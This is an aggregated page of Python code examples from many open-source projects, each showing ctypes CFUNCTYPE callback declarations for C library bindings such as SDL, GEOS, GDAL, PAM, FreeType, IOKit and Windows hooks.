Esempio n. 1
0
    def test_convert_pointers(self):
        py.test.skip("in-progress")
        from pypy.rpython.rctypes.rchar_p import ll_strlen
        strlen = CFUNCTYPE(c_int, c_char_p)()   # not directly executable!
        strlen.__name__ = 'strlen'
        strlen.llinterp_friendly_version = ll_strlen
        PTR = c_char_p("hello")
        BUF = create_string_buffer(10)
        BUF.value = "hello"

        def func(n):
            # constant arguments
            assert strlen("hello") == 5
            assert strlen(PTR) == 5
            assert strlen(BUF) == 5
            # variable arguments
            s = chr(n) + 'bc'
            assert strlen(s) == 3
            assert strlen(c_char_p(s)) == 3
            assert strlen((c_char * 6)('a', 'b')) == 2
            buf = create_string_buffer(10)
            buf.value = "hello"
            assert strlen(buf) == 5

        interpret(func, [65])
Esempio n. 2
0
    def test_convert_pointers(self):
        strlen = CFUNCTYPE(c_int, c_void_p)()
        strlen.__name__ = 'strlen'
        def ll_strlen_from_void_p(adr):
            i = 0
            while adr.char[i] != '\x00':
                i += 1
            return i
        strlen.llinterp_friendly_version = ll_strlen_from_void_p
        PTR = c_char_p("hello")
        BUF = create_string_buffer(10)
        BUF.value = "hello"
        ARR = (c_byte * 10)(65, 66, 67)

        def func(n):
            # constant arguments XXX in-progress
            ##   assert strlen("hello") == 5
            ##   assert strlen(PTR) == 5
            ##   assert strlen(BUF) == 5
            ##   assert strlen(ARR) == 3
            # variable arguments
            s = chr(n) + 'bc'
            assert strlen(s) == 3
            assert strlen(c_char_p(s)) == 3
            assert strlen((c_char * 6)('a', 'b')) == 2
            # XXX Bytes are not chars in llinterp.
            # assert strlen((c_byte * 6)(104,101,108,108,111)) == 5
            buf = create_string_buffer(10)
            buf.value = "hello"
            assert strlen(buf) == 5

        interpret(func, [65])
Esempio n. 3
0
def _declare(name, *params, **kwargs):
    params = list(map(_to_param, params))
    argtypes = tuple(param.typ for param in params)
    paramflags = tuple(param.paramflag for param in params)
    restype = kwargs.get('restype')
    errcheck = kwargs.get('errcheck')
    func = CFUNCTYPE(restype, *argtypes)((name, _lib), paramflags)
    func.__name__ = name
    if errcheck:
        func.errcheck = errcheck
    globals()[name] = func
Esempio n. 4
0
	def test_ctypes_newstyle_dict(self):
		#print "test_ctypes_newstyle_dict"
		from ctypes import CFUNCTYPE, c_int

		test = CFUNCTYPE(c_int, c_int)()
		dct = test.__dict__
		test.__name__ = "testName"
		dct = None
		self.assertTrue(hasattr(test, "__name__"))
		self.assertEqual(test.__name__, "testName")
		runGC()
		runGC()
		self.assertTrue(hasattr(test, "__name__"))
		self.assertEqual(test.__name__, "testName")
Esempio n. 5
0
# Copyright (c) 2008 Center for Bioinformatics, University of Hamburg
#
# Permission to use, copy, modify, and distribute this software for any
# purpose with or without fee is hereby granted, provided that the above
# copyright notice and this permission notice appear in all copies.
#
# THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
#

from ctypes import CDLL, CFUNCTYPE, c_char_p, c_void_p
import sys

# inspired by the ruby bindings, maybe there is a better way

if sys.platform == "darwin":
    soext = ".dylib"
else:
    soext = ".so"

gtlib = CDLL("libgenometools" + soext)
gtlib.gt_lib_init()
gtlib.gt_lib_reg_atexit_func()

CollectFunc = CFUNCTYPE(c_void_p, c_char_p, c_char_p, c_void_p)
Esempio n. 6
0
# No GEOS library could be found.
if lib_path is None:
    raise ImportError('Could not find the GEOS library (tried "%s"). '
                      'Try setting GEOS_LIBRARY_PATH in your settings.' %
                      '", "'.join(lib_names))

# Getting the GEOS C library.  The C interface (CDLL) is used for
#  both *NIX and Windows.
# See the GEOS C API source code for more details on the library function calls:
#  http://geos.refractions.net/ro/doxygen_docs/html/geos__c_8h-source.html
lgeos = CDLL(lib_path)

# The notice and error handler C function callback definitions.
#  Supposed to mimic the GEOS message handler (C below):
#  "typedef void (*GEOSMessageHandler)(const char *fmt, ...);"
NOTICEFUNC = CFUNCTYPE(None, c_char_p, c_char_p)


def notice_h(fmt, lst, output_h=sys.stdout):
    try:
        warn_msg = fmt % lst
    except:
        warn_msg = fmt
    output_h.write('GEOS_NOTICE: %s\n' % warn_msg)


notice_h = NOTICEFUNC(notice_h)

ERRORFUNC = CFUNCTYPE(None, c_char_p, c_char_p)

Esempio n. 7
0
SDL_GL_CONTEXT_FORWARD_COMPATIBLE_FLAG = 0x0002
SDL_GL_CONTEXT_ROBUST_ACCESS_FLAG = 0x0004
SDL_GL_CONTEXT_RESET_ISOLATION_FLAG = 0x0008

SDL_HitTestResult = c_int
SDL_HITTEST_NORMAL = 0
SDL_HITTEST_DRAGGABLE = 1
SDL_HITTEST_RESIZE_TOPLEFT = 2
SDL_HITTEST_RESIZE_TOP = 3
SDL_HITTEST_RESIZE_TOPRIGHT = 4
SDL_HITTEST_RESIZE_RIGHT = 5
SDL_HITTEST_RESIZE_BOTTOMRIGHT = 6
SDL_HITTEST_RESIZE_BOTTOM = 7
SDL_HITTEST_RESIZE_BOTTOMLEFT = 8
SDL_HITTEST_RESIZE_LEFT = 9
SDL_HitTest = CFUNCTYPE(SDL_HitTestResult, POINTER(SDL_Window),
                        POINTER(SDL_Point), c_void_p)

SDL_GetNumVideoDrivers = _bind("SDL_GetNumVideoDrivers", None, c_int)
SDL_GetVideoDriver = _bind("SDL_GetVideoDriver", [c_int], c_char_p)
SDL_VideoInit = _bind("SDL_VideoInit", [c_char_p], c_int)
SDL_VideoQuit = _bind("SDL_VideoQuit")
SDL_GetCurrentVideoDriver = _bind("SDL_GetCurrentVideoDriver", None, c_char_p)
SDL_GetNumVideoDisplays = _bind("SDL_GetNumVideoDisplays", None, c_int)
SDL_GetDisplayName = _bind("SDL_GetDisplayName", [c_int], c_char_p)
SDL_GetDisplayBounds = _bind("SDL_GetDisplayBounds",
                             [c_int, POINTER(SDL_Rect)], c_int)
SDL_GetNumDisplayModes = _bind("SDL_GetNumDisplayModes", [c_int], c_int)
SDL_GetDisplayMode = _bind(
    "SDL_GetDisplayMode",
    [c_int, c_int, POINTER(SDL_DisplayMode)], c_int)
SDL_GetDesktopDisplayMode = _bind("SDL_GetDesktopDisplayMode",
Esempio n. 8
0
from pydvdcss import exceptions


def _installation():
    """Return brief libdvdcss dll/so library installation instructions."""
    return inspect.cleandoc("""
    Unable to locate the libdvdcss library. PyDvdCss cannot install this for you.
    On Linux check your distribution's repositories. On Mac use brew (brew.sh) `brew install libdvdcss`.
    
    On Windows you can download a pre-compiled DLL at git.io/libdvdcss-dll and once downloaded install it
    by placing it in your Current Working Directory or C:/Windows/System32 (even if on 64bit Windows).
    """)


pf_seek = CFUNCTYPE(c_int, c_void_p, c_uint64)
pf_read = CFUNCTYPE(c_int, c_void_p, c_char_p, c_int)
pf_readv = CFUNCTYPE(c_int, c_void_p, c_void_p, c_int)


class DvdCssStreamCb(Structure):
    """Creates a struct to match dvdcss_stream_cb."""

    _fields_ = [("pf_seek", pf_seek), ("pf_read", pf_read),
                ("pf_readv", pf_readv)]


class DvdCss:
    """
    Python wrapper for VideoLAN's libdvdcss.
    https://www.videolan.org/developers/libdvdcss.html
import time
from ctypes import (
    CDLL, CFUNCTYPE,
    create_string_buffer,
    c_int, c_void_p,
    c_ushort, c_uint, c_ubyte,
    byref
)


# load the kdriveExpress dll (windows)
# for linux replace with kdriveExpress.so
kdrive = CDLL('kdriveExpress.dll')

# the error callback pointer to function type
ERROR_CALLBACK = CFUNCTYPE(None, c_int, c_void_p)

# defines from kdrive (not available from the library)
KDRIVE_INVALID_DESCRIPTOR = -1
KDRIVE_ERROR_NONE = 0
KDRIVE_LOGGER_FATAL = 1
KDRIVE_LOGGER_INFORMATION = 6
SERIAL_NUMBER_LENGTH = 6

# The maximum number of individual addresses we expect to read at one time
MAX_IND_ADDR = 5

# Set to 1 to use connection-oriented
# Set to 0 for connection-less
connection_oriented = 0
Esempio n. 10
0
class CK_DATE(Structure):
    pass


struct_def(CK_DATE, [("year", CK_CHAR * 4), ("month", CK_CHAR * 2),
                     ("day", CK_CHAR * 2)])
struct_def(
    CK_MECHANISM,
    [("mechanism", CK_MECHANISM_TYPE), ("pParameter", CK_VOID_PTR),
     ("usParameterLen", CK_ULONG)],
)

struct_def(CK_MECHANISM_INFO, [("ulMinKeySize", CK_ULONG),
                               ("ulMaxKeySize", CK_ULONG),
                               ("flags", CK_FLAGS)])
CK_CREATEMUTEX = CFUNCTYPE(CK_RV, CK_VOID_PTR_PTR)
CK_DESTROYMUTEX = CFUNCTYPE(CK_RV, CK_VOID_PTR)
CK_LOCKMUTEX = CFUNCTYPE(CK_RV, CK_VOID_PTR)
CK_UNLOCKMUTEX = CFUNCTYPE(CK_RV, CK_VOID_PTR)


class CK_C_INITIALIZE_ARGS(Structure):
    pass


struct_def(
    CK_C_INITIALIZE_ARGS,
    [
        ("CreateMutex", CK_CREATEMUTEX),
        ("DestroyMutex", CK_DESTROYMUTEX),
        ("LockMutex", CK_LOCKMUTEX),
Esempio n. 11
0
        Args:
            name(string): 表名
        Returns:
            (Table) 打开的Table指针
        Raises:
            TeraSdkException: 打开table时出错
        """
        err = c_char_p()
        table_ptr = lib.tera_table_open(self.client, name, byref(err))
        if table_ptr is None:
            raise TeraSdkException("open table failed:" + err.value)
        return Table(table_ptr)


MUTATION_CALLBACK = CFUNCTYPE(None, c_void_p)


class RowMutation(object):
    """ 对某一行的变更

        在Table.ApplyMutation()调用之前,
        RowMutation的所有操作(如Put/DeleteColumn)都不会立即生效
    """

    def __init__(self, mutation):
        self.mutation = mutation

    def Put(self, cf, qu, value):
        """ 写入(修改)这一行上
            ColumnFamily为<cf>, Qualifier为<qu>的cell值为<value>
Esempio n. 12
0
from translate.storage.pocommon import encodingToUse

logger = logging.getLogger(__name__)

lsep = " "
"""Separator for #: entries"""

STRING = c_char_p


# Structures
class po_message(Structure):
    _fields_ = []

# Function prototypes
xerror_prototype = CFUNCTYPE(None, c_int, POINTER(po_message), STRING, c_uint,
                             c_uint, c_int, STRING)
xerror2_prototype = CFUNCTYPE(None, c_int, POINTER(po_message), STRING,
                              c_uint, c_uint, c_int, STRING,
                              POINTER(po_message), STRING, c_uint, c_uint,
                              c_int, STRING)


# Structures (error handler)
class po_xerror_handler(Structure):
    _fields_ = [('xerror', xerror_prototype),
                ('xerror2', xerror2_prototype)]


class po_error_handler(Structure):
    _fields_ = [
    ('error', CFUNCTYPE(None, c_int, c_int, STRING)),
Esempio n. 13
0
This module can be used as a stand alone or along with pywinauto.
The fork of this code (at some moment) was used in
standalone library pyhooked 0.8 maintained by Ethan Smith.
"""

from ctypes import wintypes
from ctypes import windll
from ctypes import CFUNCTYPE
from ctypes import POINTER
from ctypes import c_int
from ctypes import c_uint
from ctypes import c_void_p
from ctypes import byref
import atexit

cmp_func = CFUNCTYPE(c_int, c_int, wintypes.HINSTANCE, POINTER(c_void_p))

windll.kernel32.GetModuleHandleA.restype = wintypes.HMODULE
windll.kernel32.GetModuleHandleA.argtypes = [wintypes.LPCWSTR]
windll.user32.SetWindowsHookExA.restype = c_int
windll.user32.SetWindowsHookExA.argtypes = [
    c_int, cmp_func, wintypes.HINSTANCE, wintypes.DWORD
]
windll.user32.GetMessageW.argtypes = [
    POINTER(wintypes.MSG), wintypes.HWND, c_uint, c_uint
]
windll.user32.TranslateMessage.argtypes = [POINTER(wintypes.MSG)]
windll.user32.DispatchMessageW.argtypes = [POINTER(wintypes.MSG)]


def _callback_pointer(handler):
Esempio n. 14
0
FT_LOAD_NO_SCALE = 1
FT_FACE_FLAG_SCALABLE = 1

_64_bit = (8 * struct.calcsize("P")) == 64
##############################################################################
# ft_structs

FT_Int = c_int
FT_UInt = c_uint
FT_F2Dot14 = c_short
FT_Pos = FT_Fixed = FT_Long = c_long
FT_Glyph_Format = c_int
FT_String_p = c_char_p
FT_Short = c_short  # A typedef for signed short.
FT_UShort = c_ushort  # A typedef for unsigned short.
FT_Generic_Finalizer = CFUNCTYPE(None, c_void_p)
FT_Encoding = c_int


class FT_LibraryRec(Structure):
    _fields_ = []
FT_Library = POINTER(FT_LibraryRec)


class FT_Vector(Structure):
    _fields_ = [('x', FT_Pos), ('y', FT_Pos)]


class FT_UnitVector(Structure):
    _fields_ = [('x', FT_F2Dot14), ('y', FT_F2Dot14)]
Esempio n. 15
0
class LogControl(object):
    """Log controlling class. Wraps phobos low-level logging API."""
    # Log handling callback type for use w/ python callables
    LogCBType = CFUNCTYPE(None, POINTER(PhoLogRec))

    def __init__(self, *args, **kwargs):
        """Initialize fresh instance."""
        super(LogControl, self).__init__(*args, **kwargs)
        self._cb_ref = None

    def set_callback(self, callback):
        """Set a python callable as a log handling callback to the C library."""
        if callback is None:
            set_cb = cast(None, self.LogCBType)
        else:
            set_cb = self.LogCBType(callback)

        LIBPHOBOS.pho_log_callback_set(set_cb)

        self._cb_ref = set_cb

    def set_level(self, lvl):
        """Set the library logging level."""
        LIBPHOBOS.pho_log_level_set(self.level_py2pho(lvl))

    @staticmethod
    def level_pho2py(py_level):
        """Convert phobos log level to python standard equivalent."""
        levels_map = {
            PHO_LOG_DISABLED: DISABLED,
            PHO_LOG_ERROR: ERROR,
            PHO_LOG_WARN: WARNING,
            PHO_LOG_INFO: INFO,
            PHO_LOG_VERB: VERBOSE,
            PHO_LOG_DEBUG: DEBUG
        }
        return levels_map.get(py_level, INFO)

    @staticmethod
    def level_py2pho(py_level):
        """Convert standard python levels to phobos levels."""
        levels_map = {
            DISABLED: PHO_LOG_DISABLED,
            CRITICAL: PHO_LOG_ERROR,
            ERROR: PHO_LOG_ERROR,
            WARNING: PHO_LOG_WARN,
            INFO: PHO_LOG_INFO,
            VERBOSE: PHO_LOG_VERB,
            DEBUG: PHO_LOG_DEBUG
        }
        return levels_map.get(py_level, PHO_LOG_DEFAULT)

    @staticmethod
    def level_name(lvl):
        """Wrapper to get the log level name including custom level names."""
        if lvl == DISABLED:
            return 'DISABLED'
        elif lvl == VERBOSE:
            return 'VERBOSE'
        else:
            return getLevelName(lvl)
Esempio n. 16
0
iokit.IOHIDValueGetElement.argtypes = [c_void_p]

iokit.IOHIDValueGetIntegerValue.restype = CFIndex
iokit.IOHIDValueGetIntegerValue.argtypes = [c_void_p]

iokit.IOHIDValueGetLength.restype = CFIndex
iokit.IOHIDValueGetLength.argtypes = [c_void_p]

iokit.IOHIDValueGetTimeStamp.restype = c_uint64
iokit.IOHIDValueGetTimeStamp.argtypes = [c_void_p]

iokit.IOHIDValueGetTypeID.restype = CFTypeID
iokit.IOHIDValueGetTypeID.argtypes = []

# Callback function types
HIDManagerCallback = CFUNCTYPE(None, c_void_p, c_int, c_void_p, c_void_p)
HIDDeviceCallback = CFUNCTYPE(None, c_void_p, c_int, c_void_p)
HIDDeviceValueCallback = CFUNCTYPE(None, c_void_p, c_int, c_void_p, c_void_p)

######################################################################
# HID Class Wrappers

# Lookup tables cache python objects for the devices and elements so that
# we can avoid creating multiple wrapper objects for the same device.
_device_lookup = {}  # IOHIDDeviceRef to python HIDDevice object
_element_lookup = {}  # IOHIDElementRef to python HIDDeviceElement object


class HIDValue:
    def __init__(self, valueRef):
        # Check that this is a valid IOHIDValue.

class SDL_BlitMap(Structure):
    pass


class SDL_Surface(Structure):
    _fields_ = [("flags", Uint32), ("format", POINTER(SDL_PixelFormat)),
                ("w", c_int), ("h", c_int), ("pitch", c_int),
                ("pixels", c_void_p), ("userdata", c_void_p),
                ("locked", c_int), ("lock_data", c_void_p),
                ("clip_rect", SDL_Rect), ("map", POINTER(SDL_BlitMap)),
                ("refcount", c_int)]


SDL_Blit = CFUNCTYPE(c_int, POINTER(SDL_Surface), POINTER(SDL_Rect),
                     POINTER(SDL_Surface), POINTER(SDL_Rect))

SDL_CreateRGBSurface = _bind(
    "SDL_CreateRGBSurface",
    [Uint32, c_int, c_int, c_int, Uint32, Uint32, Uint32, Uint32],
    POINTER(SDL_Surface))
SDL_CreateRGBSurfaceFrom = _bind(
    "SDL_CreateRGBSurfaceFrom",
    [c_void_p, c_int, c_int, c_int, c_int, Uint32, Uint32, Uint32, Uint32],
    POINTER(SDL_Surface))
SDL_FreeSurface = _bind("SDL_FreeSurface", [POINTER(SDL_Surface)])
SDL_SetSurfacePalette = _bind(
    "SDL_SetSurfacePalette",
    [POINTER(SDL_Surface), POINTER(SDL_Palette)], c_int)
SDL_LockSurface = _bind("SDL_LockSurface", [POINTER(SDL_Surface)], c_int)
SDL_UnlockSurface = _bind("SDL_UnlockSurface", [POINTER(SDL_Surface)])
Esempio n. 18
0
    # And an execution engine with an empty backing module
    backing_mod = llvm.parse_assembly("")
    engine = llvm.create_mcjit_compiler(backing_mod, target_machine)
    return engine


def compile_ir(engine, llvm_ir):
    """
    Compile the LLVM IR string with the given engine.
    The compiled module object is returned.
    """
    # Create a LLVM module object from the IR
    mod = llvm.parse_assembly(llvm_ir)
    mod.verify()
    # Now add the module and make sure it is ready for execution
    engine.add_module(mod)
    engine.finalize_object()
    engine.run_static_constructors()
    return mod


engine = create_execution_engine()
mod = compile_ir(engine, llvm_ir)

# Look up the function pointer (a Python int)
func_ptr = engine.get_function_address("fpadd")

# Run the function via ctypes
cfunc = CFUNCTYPE(c_double, c_double, c_double)(func_ptr)
res = cfunc(1.0, 3.5)
print("fpadd(...) =", res)
Esempio n. 19
0
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
"""

import functools
from ctypes import c_int, c_double, c_char_p, POINTER, CFUNCTYPE, byref
from .support_types import SpiceCell

UDFUNS = CFUNCTYPE(None, c_double, POINTER(c_double))
UDFUNB = CFUNCTYPE(None, UDFUNS, c_double, POINTER(c_int))
UDSTEP = CFUNCTYPE(None, c_double, POINTER(c_double))
UDREFN = CFUNCTYPE(None, c_double, c_double, c_int, c_int, POINTER(c_double))
UDREPI = CFUNCTYPE(None, POINTER(SpiceCell), c_char_p, c_char_p)
UDREPU = CFUNCTYPE(None, c_double, c_double, c_double)
UDREPF = CFUNCTYPE(None)
UDBAIL = CFUNCTYPE(c_int)


def SpiceUDFUNS(f):
    """
    Decorator for wrapping python functions in spice udfuns callback type
    :param f: function that has one argument of type float, and returns a float
    :type f: builtins.function
    :return: wrapped udfunc function
Esempio n. 20
0
VK_RETURN = 0x0D  # ENTER key
VK_ESCAPE = 0x1B
VK_LWIN = 0x5B
VK_RWIN = 0x5C

# typedefs
LPMSG = POINTER(MSG)


def LOWORD(x):
    return x & 0xffff


# trampolines
HOOKPROC = WINFUNCTYPE(LRESULT, c_int, WPARAM, LPARAM)
LOWLEVELKEYBOARDPROC = CFUNCTYPE(LRESULT, c_int, WPARAM, LPARAM)
MONITORENUMPROC = WINFUNCTYPE(INT, DWORD, DWORD, POINTER(RECT), DOUBLE)
# structures


class KBDLLHOOKSTRUCT(Structure):
    _fields_ = [('vkCode', DWORD), ('scanCode', DWORD), ('flags', DWORD),
                ('time', DWORD), ('dwExtraInfo', ULONG_PTR)]


class BITMAPINFOHEADER(Structure):
    _fields_ = [('biSize', DWORD), ('biWidth', LONG), ('biHeight', LONG),
                ('biPlanes', WORD), ('biBitCount', WORD),
                ('biCompression', DWORD), ('biSizeImage', DWORD),
                ('biXPelsPerMeter', LONG), ('biYPelsPerMeter', LONG),
                ('biClrUsed', DWORD), ('biClrImportant', DWORD)]
Esempio n. 21
0
    ver = gdal_version().decode()
    m = version_regex.match(ver)
    if not m:
        raise OGRException('Could not parse GDAL version string "%s"' % ver)
    return dict((key, m.group(key)) for key in ('major', 'minor', 'subminor'))


_verinfo = gdal_version_info()
GDAL_MAJOR_VERSION = int(_verinfo['major'])
GDAL_MINOR_VERSION = int(_verinfo['minor'])
GDAL_SUBMINOR_VERSION = _verinfo['subminor'] and int(_verinfo['subminor'])
GDAL_VERSION = (GDAL_MAJOR_VERSION, GDAL_MINOR_VERSION, GDAL_SUBMINOR_VERSION)
del _verinfo

# Set library error handling so as errors are logged
CPLErrorHandler = CFUNCTYPE(None, c_int, c_int, c_char_p)


def err_handler(error_class, error_number, message):
    logger.error('GDAL_ERROR %d: %s' % (error_number, message))


err_handler = CPLErrorHandler(err_handler)


def function(name, args, restype):
    func = std_call(name)
    func.argtypes = args
    func.restype = restype
    return func
Esempio n. 22
0

class PamResponse(Structure):
    '''
    Wrapper class for pam_response structure
    '''
    _fields_ = [
        ('resp', c_char_p),
        ('resp_retcode', c_int),
    ]

    def __repr__(self):
        return '<PamResponse {0} \'{1}\'>'.format(self.resp_retcode, self.resp)


CONV_FUNC = CFUNCTYPE(c_int, c_int, POINTER(POINTER(PamMessage)),
                      POINTER(POINTER(PamResponse)), c_void_p)


class PamConv(Structure):
    '''
    Wrapper class for pam_conv structure
    '''
    _fields_ = [('conv', CONV_FUNC), ('appdata_ptr', c_void_p)]


try:
    LIBPAM = CDLL(find_library('pam'))
    PAM_START = LIBPAM.pam_start
    PAM_START.restype = c_int
    PAM_START.argtypes = [
        c_char_p, c_char_p,
Esempio n. 23
0
class Timeshift(Structure):
    _fields_ = [("month", c_int), ("day", c_int), ("hour", c_int),
                ("minute", c_int), ("adjustment", c_int),
                ("filler", c_uint64 * 8)]


class SHDatetime(Structure):
    _fields_ = [("year", c_int64), ("month", c_int), ("day", c_int),
                ("hour", c_int), ("minute", c_int), ("second", c_int),
                ("milisecond", c_int), ("timezoneOffset", c_int),
                ("shifts", POINTER(Timeshift)), ("shiftLen", c_int),
                ("currentShiftIdx", c_int), ("filler", c_uint64 * 8)]


callbackType = CFUNCTYPE(c_bool, c_int, c_char_p, c_void_p, POINTER(c_bool))


class SHError(Structure):
    _fields_ = [("code", c_int), ("errorCallback", callbackType),
                ("msg", c_char_p), ("callbackInfo", c_void_p),
                ("isError", c_bool), ("filler", c_uint64 * 8)]


def make_dt_copy(dt):
    copy = SHDatetime(dt.year, dt.month, dt.day, dt.hour, dt.minute, dt.second)
    copy.timezoneOffset = dt.timezoneOffset
    copy.shifts = dt.shifts
    copy.shiftLen = dt.shiftLen
    copy.currentShiftIdx = dt.currentShiftIdx
    return copy
Esempio n. 24
0

def compile_ir(engine, llvm_ir):
    """
    Compile the LLVM IR string with the given engine.
    The compiled module object is returned.
    """
    # Create a LLVM module object from the IR
    mod = llvm.parse_assembly(llvm_ir)
    mod.verify()
    # Now add the module and make sure it is ready for execution
    engine.add_module(mod)
    engine.finalize_object()
    return mod


engine = create_execution_engine()

mod = compile_ir(engine, llvm_ir)


# Look up the function pointer (a Python int)
func_ptr = engine.get_function_address("main")


# Run the function via ctypes
cfunc = CFUNCTYPE(c_int)(func_ptr)

res = cfunc()

print("main =", res)
Esempio n. 25
0
    def __init__(self, domain):
        bitness = 32 if '32' in platform.architecture()[0] else 64
        env_name = 'INTEL_LIBITTNOTIFY' + str(bitness)
        self.lib = None
        self.strings = {}
        self.tracks = {}
        self.counters = {}
        if env_name not in os.environ:
            print("Warning:", env_name, "is not set...")
            return
        if os.path.exists(os.environ[env_name]):
            self.lib = cdll.LoadLibrary(os.environ[env_name])
        if not self.lib:
            print("Warning: Failed to load", os.environ[env_name], "...")
            return

        # void* itt_create_domain(const char* str)
        self.lib.itt_create_domain.argtypes = [c_char_p]
        self.lib.itt_create_domain.restype = c_void_p

        # void* itt_create_string(const char* str)
        self.lib.itt_create_string.argtypes = [c_char_p]
        self.lib.itt_create_string.restype = c_void_p

        # void itt_marker(void* domain, uint64_t id, void* name, int scope)
        self.lib.itt_marker.argtypes = [
            c_void_p, c_ulonglong, c_void_p, c_int, c_ulonglong
        ]

        # void itt_task_begin(void* domain, uint64_t id, uint64_t parent, void* name, uint64_t timestamp)
        self.lib.itt_task_begin.argtypes = [
            c_void_p, c_ulonglong, c_ulonglong, c_void_p, c_ulonglong
        ]

        # void itt_task_begin_overlapped(void* domain, uint64_t id, uint64_t parent, void* name, uint64_t timestamp)
        self.lib.itt_task_begin_overlapped.argtypes = [
            c_void_p, c_ulonglong, c_ulonglong, c_void_p, c_ulonglong
        ]

        # void itt_metadata_add(void* domain, uint64_t id, void* name, double value)
        self.lib.itt_metadata_add.argtypes = [
            c_void_p, c_ulonglong, c_void_p, c_double
        ]

        # void itt_metadata_add_str(void* domain, uint64_t id, void* name, const char* value)
        self.lib.itt_metadata_add_str.argtypes = [
            c_void_p, c_ulonglong, c_void_p, c_char_p
        ]

        # void itt_metadata_add_blob(void* domain, uint64_t id, void* name, const void* value, uint32_t size)
        self.lib.itt_metadata_add_blob.argtypes = [
            c_void_p, c_ulonglong, c_void_p, c_void_p, c_uint32
        ]

        # void itt_task_end(void* domain, uint64_t timestamp)
        self.lib.itt_task_end.argtypes = [c_void_p, c_ulonglong]

        # void itt_task_end_overlapped(void* domain, uint64_t timestamp, uint64_t taskid)
        self.lib.itt_task_end_overlapped.argtypes = [
            c_void_p, c_ulonglong, c_ulonglong
        ]

        # void* itt_counter_create(void* domain, void* name)
        self.lib.itt_counter_create.argtypes = [c_void_p, c_void_p]
        self.lib.itt_counter_create.restype = c_void_p

        # void itt_set_counter(void* id, double value, uint64_t timestamp)
        self.lib.itt_set_counter.argtypes = [c_void_p, c_double, c_ulonglong]

        # void* itt_create_track(const char* group, const char* track)
        self.lib.itt_create_track.argtypes = [c_char_p, c_char_p]
        self.lib.itt_create_track.restype = c_void_p

        # void itt_set_track(void* track)
        self.lib.itt_set_track.argtypes = [c_void_p]

        # uint64_t itt_get_timestamp()
        self.lib.itt_get_timestamp.restype = c_ulonglong

        if hasattr(self.lib, 'get_gpa_version'):
            # const char* get_gpa_version()
            self.lib.get_gpa_version.restype = c_char_p

        if sys.platform == 'win32':
            # long relog_etl(const char* szInput, const char* szOutput)
            self.lib.relog_etl.argtypes = [c_char_p, c_char_p]
            self.lib.relog_etl.restype = c_long
            # const char* resolve_pointer(const char* szModulePath, uint64_t addr)
            self.lib.resolve_pointer.argtypes = [c_char_p, c_ulonglong]
            self.lib.resolve_pointer.restype = c_char_p

            # bool ExportExeIconAsGif(LPCWSTR szExePath, LPCWSTR szGifPath)
            if hasattr(self.lib, 'ExportExeIconAsGif'):
                self.lib.ExportExeIconAsGif.argtypes = [c_wchar_p, c_wchar_p]
                self.lib.ExportExeIconAsGif.restype = c_bool

                # bool ConvertToGif(LPCWSTR szImagePath, LPCWSTR szGifPath, long width, long height)
                self.lib.ConvertToGif.argtypes = [
                    c_wchar_p, c_wchar_p, c_long, c_long
                ]
                self.lib.ConvertToGif.restype = c_bool

        elif 'linux' in sys.platform:
            # void itt_write_time_sync_markers()
            self.lib.itt_write_time_sync_markers.argtypes = []

        # typedef bool (*receive_t)(void* pReceiver, uint64_t time, uint16_t count, const wchar_t** names, const wchar_t** values, double progress);
        self.receive_t = CFUNCTYPE(c_bool, c_ulonglong, c_ulonglong, c_short,
                                   POINTER(c_wchar_p), POINTER(c_wchar_p),
                                   c_double)
        # typedef void* (*get_receiver_t)(const wchar_t* provider, const wchar_t* opcode, const wchar_t* taskName);
        self.get_receiver_t = CFUNCTYPE(c_ulonglong, c_wchar_p, c_wchar_p,
                                        c_wchar_p)
        if hasattr(self.lib, 'parse_standard_source'):
            # bool parse_standard_source(const char* file, get_receiver_t get_receiver, receive_t receive)
            self.lib.parse_standard_source.argtypes = [
                c_char_p, self.get_receiver_t, self.receive_t
            ]
            self.lib.parse_standard_source.restype = c_bool
        if hasattr(self.lib, 'mdapi_dump'):
            # const char* mdapi_dump()
            self.lib.mdapi_dump.argtypes = [c_uint32]
            self.lib.mdapi_dump.restype = c_char_p

            # void(uint32_t report, const char* name, double value)
            self.mdapi_metric_callback_t = CFUNCTYPE(None, c_uint32, c_char_p,
                                                     c_double)

            # bool(const void* buff, uint32_t size, uint32_t count)
            self.mdapi_stream_receiver_t = CFUNCTYPE(c_bool, c_void_p,
                                                     c_uint32, c_uint32)

            # const char * mdapi_stream(const char * szGroupName, const char * szMetricSetSymbolName, unsigned int nsTimerPeriod, uint32_t pid, CMDAPIHandler::TStreamCallback callback)
            self.lib.mdapi_stream.argtypes = [
                c_char_p, c_char_p, c_uint32, c_uint32,
                self.mdapi_stream_receiver_t
            ]
            self.lib.mdapi_stream.restype = c_char_p

            #const char* mdapi_decode(const char* szGroupName, const char* szMetricSetSymbolName, const void* reportsData, uint32_t size, uint32_t count, CMDAPIHandler::TMetricCallback callback)
            self.lib.mdapi_decode.argtypes = [
                c_char_p, c_char_p, c_void_p, c_uint32, c_uint32,
                self.mdapi_metric_callback_t
            ]
            self.lib.mdapi_decode.restype = c_char_p

        self.domain = self.lib.itt_create_domain(domain)
Esempio n. 26
0
        c_void_p,
        POINTER(SecKeychainRef),
    ]
    Security.SecKeychainCreate.restype = OSStatus

    Security.SecKeychainDelete.argtypes = [SecKeychainRef]
    Security.SecKeychainDelete.restype = OSStatus

